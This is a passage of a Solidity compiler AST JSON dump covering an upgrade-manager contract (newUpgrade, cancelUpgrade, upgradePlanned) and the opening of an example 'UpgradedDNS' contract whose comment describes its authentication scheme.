}],\"id\":1938,\"name\":\"Return\",\"src\":\"2921:12:6\"}],\"id\":1939,\"name\":\"Block\",\"src\":\"2722:215:6\"}],\"id\":1940,\"name\":\"FunctionDefinition\",\"src\":\"2640:297:6\"},{\"attributes\":{\"functionSelector\":\"27557157\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"name\":\"newUpgrade\",\"scope\":2050,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Allows the upgrade manager to suggest a new upgrade.\\n Users must actively opt-in if they wish to use the newly\\n suggested contract.\"},\"id\":1941,\"name\":\"StructuredDocumentation\",\"src\":\"2940:151:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_when\",\"scope\":1997,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":1942,\"name\":\"ElementaryTypeName\",\"src\":\"3113:4:6\"}],\"id\":1943,\"name\":\"VariableDeclaration\",\"src\":\"3113:10:6\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_to\",\"scope\":1997,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1944,\"name\":\"UserDefinedTypeName\",\"src\":\"3125:4:6\"}],\"id\":1945,\"name\":\"VariableDeclaration\",\"src\":\"3125:8:6\"}],\"id\":1946,\"name\":\"ParameterList\",\"src\":\"3112:22:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1949,\"name\":\"ParameterList\",\"src\":\"3154:0:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1759,\"type\":\"modifier ()\",\"value\":\"onlyAdmin\"},\"id\":1947,\"name\":\"Identifier\",\"src\":\"3135:9:6\"}],\"id\":1948,\"name\":\"ModifierInvocation\",\"src\":\"3135:9:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d8559f4d9c58d92c0f6cc7506aaddd776269e745a90166693ac14ffbd5351bb8\",\"typeString\":\"literal_string \\\"Upgrade already running.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1950,\"name\":\"Identifier\",\"src\":\"3158:7:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2049,\"type\":\"function () view returns (bool)\",\"value\":\"upgradePlanned\"},\"id\":1951,\"name\":\"Identifier\",\"src\":\"3167:14:6\"}],\"id\":1952,\"name\":\"FunctionCall\",\"src\":\"3167:16:6\"}],\"id\":1953,\"name\":\"UnaryOperation\",\"src\":\"3166:17:6\"},{\"attributes\":{\"hexvalue\":\"5570677261646520616c72656164792072756e6e696e672e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Upgrade already running.\\\"\",\"value\":\"Upgrade already running.\"},\"id\":1954,\"name\":\"Literal\",\"src\":\"3185:26:6\"}],\"id\":1955,\"name\":\"FunctionCall\",\"src\":\"3158:54:6\"}],\"id\":1956,\"name\":\"ExpressionStatement\",\"src\":\"3158:54:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_506799b880ff232ed5f54e00b8e5b853a6f02bd7daf253f7e24e82995769c92c\",\"typeString\":\"literal_string \\\"Cannot upgrade in the past.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1957,\"name\":\"Identifier\",\"src\":\"3216:7:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1943,\"type\":\"uint256\",\"value\":\"_when\"},\"id\":1958,\"name\":\"Identifier\",\"src\":\"3224:5:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"timestamp\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-4,\"type\":\"block\",\"value\":\"block\"},\"id\":1959,\"name\":\"Identifier\",\"src\":\"3232:5:6\"}],\"id\":1960,\"name\":\"MemberAccess\",\"src\":\"3232:15:6\"}],\"id\":1961,\"name\":\"BinaryOperation\",\"src\":\"3224:23:6\"},{\"attributes\":{\"hexvalue\":\"43616e6e6f74207570677261646520696e2074686520706173742e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Cannot upgrade in the past.\\\"\",\"value\":\"Cannot upgrade in the past.\"},\"id\":1962,\"name\":\"Literal\",\"src\":\"3249:29:6\"}],\"id\":1963,\"name\":\"FunctionCall\",\"src\":\"3216:63:6\"}],\"id\":1964,\"name\":\"ExpressionStatement\",\"src\":\"3216:63:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_23d7a602209605b60a3695edfc74d69e1762fa17da0834a9ed4a12b92f22eb03\",\"typeString\":\"literal_string \\\"Cannot upgrade to void.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":1965,\"name\":\"Identifier\",\"src\":\"3283:7:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1966,\"name\":\"ElementaryTypeName\",\"src\":\"3291:7:6\"}],\"id\":1967,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3291:7:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1945,\"type\":\"contract IDNS\",\"value\":\"_to\"},\"id\":1968,\"name\":\"Identifier\",\"src\":\"3299:3:6\"}],\"id\":1969,\"name\":\"FunctionCall\",\"src\":\"3291:12:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1970,\"name\":\"ElementaryTypeName\",\"src\":\"3307:7:6\"}],\"id\":1971,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"3307:7:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1972,\"name\":\"Literal\",\"src\":\"3315:1:6\"}],\"id\":1973,\"name\":\"FunctionCall\",\"src\":\"3307:10:6\"}],\"id\":1974,\"name\":\"BinaryOperation\",\"src\":\"3291:26:6\"},{\"attributes\":{\"hexvalue\":\"43616e6e6f74207570677261646520746f20766f69642e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Cannot upgrade to void.\\\"\",\"value\":\"Cannot upgrade to void.\"},\"id\":1975,\"name\":\"Literal\",\"src\":\"3319:25:6\"}],\"id\":1976,\"name\":\"FunctionCall\",\"src\":\"3283:62:6\"}],\"id\":1977,\"name\":\"ExpressionStatement\",\"src\":\"3283:62:6\"},{\"attributes\":{\"assignments\":[1979]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"up\",\"scope\":1996,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct Upgrade.UpgradeConfig\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"UpgradeConfig\",\"referencedDeclaration\":1740,\"type\":\"struct Upgrade.UpgradeConfig\"},\"id\":1978,\"name\":\"UserDefinedTypeName\",\"src\":\"3349:13:6\"}],\"id\":1979,\"name\":\"VariableDeclaration\",\"src\":\"3349:24:6\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"push\",\"type\":\"function () returns (struct Upgrade.UpgradeConfig storage ref)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":1980,\"name\":\"Identifier\",\"src\":\"3376:8:6\"}],\"id\":1981,\"name\":\"MemberAccess\",\"src\":\"3376:13:6\"}],\"id\":1982,\"name\":\"FunctionCall\",\"src\":\"3376:15:6\"}],\"id\":1983,\"name\":\"VariableDeclarationStatement\",\"src\":\"3349:42:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"when\",\"referencedDeclaration\":1737,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1979,\"type\":\"struct Upgrade.UpgradeConfig storage pointer\",\"value\":\"up\"},\"id\":1984,\"name\":\"Identifier\",\"src\":\"3395:2:6\"}],\"id\":1986,\"name\":\"MemberAccess\",\"src\":\"3395:7:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1943,\"type\":\"uint256\",\"value\":\"_when\"},\"id\":1987,\"name\":\"Identifier\",\"src\":\"3405:5:6\"}],\"id\":1988,\"name\":\"Assignment\",\"src\":\"3395:15:6\"}],\"id\":1989,\"name\":\"ExpressionStatement\",\"src\":\"3395:15:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"to\",\"referencedDeclaration\":1739,\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1979,\"type\":\"struct Upgrade.UpgradeConfig storage pointer\",\"value\":\"up\"},\"id\":1990,\"name\":\"Identifier\",\"src\":\"3414:2:6\"}],\"id\":1992,\"name\":\"MemberAccess\",\"src\":\"3414:5:6\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1945,\"type\":\"contract IDNS\",\"value\":\"_to\"},\"id\":1993,\"name\":\"Identifier\",\"src\":\"3422:3:6\"}],\"id\":1994,\"name\":\"Assignment\",\"src\":\"3414:11:6\"}],\"id\":1995,\"name\":\"ExpressionStatement\",\"src\":\"3414:11:6\"}],\"id\":1996,\"name\":\"Block\",\"src\":\"3154:275:6\"}],\"id\":1997,\"name\":\"FunctionDefinition\",\"src\":\"3093:336:6\"},{\"attributes\":{\"functionSelector\":\"55f29166\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"name\":\"cancelUpgrade\",\"scope\":2050,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Allows the upgrade manager to cancel a planned upgrade.\\n No behavior changes, users still access their current preferred upgrade.\"},\"id\":1998,\"name\":\"StructuredDocumentation\",\"src\":\"3432:145:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1999,\"name\":\"ParameterList\",\"src\":\"3601:2:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2002,\"name\":\"ParameterList\",\"src\":\"3623:0:6\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1759,\"type\":\"modifier ()\",\"value\":\"onlyAdmin\"},\"id\":2000,\"name\":\"Identifier\",\"src\":\"3604:9:6\"}],\"id\":2001,\"name\":\"ModifierInvocation\",\"src\":\"3604:9:6\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_a511362ca52b51080aa5953b8aa811a063ebc951eebee51afb2e5bbf37ccae98\",\"typeString\":\"literal_string \\\"Cannot cancel non planned upgrade.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2003,\"name\":\"Identifier\",\"src\":\"3627:7:6\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2049,\"type\":\"function () view returns (bool)\",\"value\":\"upgradePlanned\"},\"id\":2004,\"name\":\"Identifier\",\"src\":\"3635:14:6\"}],\"id\":2005,\"name\":\"FunctionCall\",\"src\":\"3635:16:6\"},{\"attributes\":{\"hexvalue\":\"43616e6e6f742063616e63656c206e6f6e20706c616e6e656420757067726164652e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Cannot cancel non planned upgrade.\\\"\",\"value\":\"Cannot cancel non planned upgrade.\"},\"id\":2006,\"name\":\"Literal\",\"src\":\"3653:36:6\"}],\"id\":2007,\"name\":\"FunctionCall\",\"src\":\"3627:63:6\"}],\"id\":2008,\"name\":\"ExpressionStatement\",\"src\":\"3627:63:6\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"delete\",\"prefix\":true,\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":2009,\"name\":\"Identifier\",\"src\":\"3701:8:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":2010,\"name\":\"Identifier\",\"src\":\"3710:8:6\"}],\"id\":2011,\"name\":\"MemberAccess\",\"src\":\"3710:15:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":2012,\"name\":\"Literal\",\"src\":\"3728:1:6\"}],\"id\":2013,\"name\":\"BinaryOperation\",\"src\":\"3710:19:6\"}],\"id\":2014,\"name\":\"IndexAccess\",\"src\":\"3701:29:6\"}],\"id\":2015,\"name\":\"UnaryOperation\",\"src\":\"3694:36:6\"}],\"id\":2016,\"name\":\"ExpressionStatement\",\"src\":\"3694:36:6\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"pop\",\"type\":\"function ()\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":2017,\"name\":\"Identifier\",\"src\":\"3734:8:6\"}],\"id\":2019,\"name\":\"MemberAccess\",\"src\":\"3734:12:6\"}],\"id\":2020,\"name\":\"FunctionCall\",\"src\":\"3734:14:6\"}],\"id\":2021,\"name\":\"ExpressionStatement\",\"src\":\"3734:14:6\"}],\"id\":2022,\"name\":\"Block\",\"src\":\"3623:129:6\"}],\"id\":2023,\"name\":\"FunctionDefinition\",\"src\":\"3579:173:6\"},{\"attributes\":{\"functionSelector\":\"d2ac7a5f\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"upgradePlanned\",\"scope\":2050,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"text\":\"@return true if there is a currently planned upgrade.\"},\"id\":2024,\"name\":\"StructuredDocumentation\",\"src\":\"3755:57:6\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2025,\"name\":\"ParameterList\",\"src\":\"3837:2:6\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2049,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2026,\"name\":\"ElementaryTypeName\",\"src\":\"3861:4:6\"}],\"id\":2027,\"name\":\"VariableDeclaration\",\"src\":\"3861:4:6\"}],\"id\":2028,\"name\":\"ParameterList\",\"src\":\"3860:6:6\"},{\"children\":[{\"attributes\":{\"assignments\":[2030]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"l\",\"scope\":2048,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2029,\"name\":\"ElementaryTypeName\",\"src\":\"3871:4:6\"}],\"id\":2030,\"name\":\"VariableDeclaration\",\"src\":\"3871:6:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"length\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":2031,\"name\":\"Identifier\",\"src\":\"3880:8:6\"}],\"id\":2032,\"name\":\"MemberAccess\",\"src\":\"3880:15:6\"}],\"id\":2033,\"name\":\"VariableDeclarationStatement\",\"src\":\"3871:24:6\"},{\"attributes\":{\"functionReturnParameters\":2028},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2030,\"type\":\"uint256\",\"value\":\"l\"},\"id\":2034,\"name\":\"Identifier\",\"src\":\"3906:1:6\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2035,\"name\":\"Literal\",\"src\":\"3910:1:6\"}],\"id\":2036,\"name\":\"BinaryOperation\",\"src\":\"3906:5:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\">\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"when\",\"referencedDeclaration\":1737,\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct Upgrade.UpgradeConfig storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1744,\"type\":\"struct Upgrade.UpgradeConfig storage ref[] storage ref\",\"value\":\"upgrades\"},\"id\":2037,\"name\":\"Identifier\",\"src\":\"3915:8:6\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2030,\"type\":\"uint256\",\"value\":\"l\"},\"id\":2038,\"name\":\"Identifier\",\"src\":\"3924:1:6\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":2039,\"name\":\"Literal\",\"src\":\"3928:1:6\"}],\"id\":2040,\"name\":\"BinaryOperation\",\"src\":\"3924:5:6\"}],\"id\":2041,\"name\":\"IndexAccess\",\"src\":\"3915:15:6\"}],\"id\":2042,\"name\":\"MemberAccess\",\"src\":\"3915:20:6\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"timestamp\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-4,\"type\":\"block\",\"value\":\"block\"},\"id\":2043,\"name\":\"Identifier\",\"src\":\"3938:5:6\"}],\"id\":2044,\"name\":\"MemberAccess\",\"src\":\"3938:15:6\"}],\"id\":2045,\"name\":\"BinaryOperation\",\"src\":\"3915:38:6\"}],\"id\":2046,\"name\":\"BinaryOperation\",\"src\":\"3906:47:6\"}],\"id\":2047,\"name\":\"Return\",\"src\":\"3899:54:6\"}],\"id\":2048,\"name\":\"Block\",\"src\":\"3867:90:6\"}],\"id\":2049,\"name\":\"FunctionDefinition\",\"src\":\"3814:143:6\"}],\"id\":2050,\"name\":\"ContractDefinition\",\"src\":\"300:3659:6\"}],\"id\":2051,\"name\":\"SourceUnit\",\"src\":\"36:3924:6\"}},\"src/UpgradedDNS.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/UpgradedDNS.sol\",\"exportedSymbols\":{\"IDNS\":[1462],\"Upgrade\":[2050],\"UpgradedDNS\":[2303]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":2052,\"name\":\"PragmaDirective\",\"src\":\"36:23:7\"},{\"attributes\":{\"literals\":[\"experimental\",\"ABIEncoderV2\"]},\"id\":2053,\"name\":\"PragmaDirective\",\"src\":\"60:33:7\"},{\"attributes\":{\"SourceUnit\":1463,\"absolutePath\":\"src/IDNS.sol\",\"file\":\"./IDNS.sol\",\"scope\":2304,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":2054,\"name\":\"ImportDirective\",\"src\":\"95:20:7\"},{\"attributes\":{\"SourceUnit\":2051,\"absolutePath\":\"src/Upgrade.sol\",\"file\":\"./Upgrade.sol\",\"scope\":2304,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":2055,\"name\":\"ImportDirective\",\"src\":\"116:23:7\"},{\"attributes\":{\"abstract\":false,\"contractDependencies\":[1462],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[2303,1462],\"name\":\"UpgradedDNS\",\"scope\":2304},\"children\":[{\"attributes\":{\"text\":\"@title Example of an upgraded implementation of a DNS.\\n @notice As suggested by DNS.sol, the functions of this contract\\n check whether\\n msg.sender == tx.origin or\\n msg.sender is the original DNS contract or\\n msg.sender is an upgrade that the user trusted at some point.\\n for authentication.\\n The idea is that\\n 1. the user either called this contract directly (direct authentication via msg.sender) or\\n 2. the call was relayed by the original DNS contract (authentication was performed there) or\\n 3. the call was relayed by another upgrade that the entry owner trusted.\"},\"id\":2056,\"name\":\"StructuredDocumentation\",\"src\":\"141:603:7\"},{\"attributes\":{},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":2057,\"name\":\"UserDefinedTypeName\",\"src\":\"768:4:7\"}],\"id\":2058,\"name\":\"InheritanceSpecifier\",\"src\":\"768:4:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"data\",\"scope\":2303,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"mapping(string => struct IDNS.Entry)\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"type\":\"mapping(string => struct IDNS.Entry)\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2059,\"name\":\"ElementaryTypeName\",\"src\":\"785:6:7\"},{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":2060,\"name\":\"UserDefinedTypeName\",\"src\":\"795:5:7\"}],\"id\":2061,\"name\":\"Mapping\",\"src\":\"776:25:7\"}],\"id\":2062,\"name\":\"VariableDeclaration\",\"src\":\"776:30:7\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"9735009b\",\"mutability\":\"immutable\",\"name\":\"originalDNS\",\"scope\":2303,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract 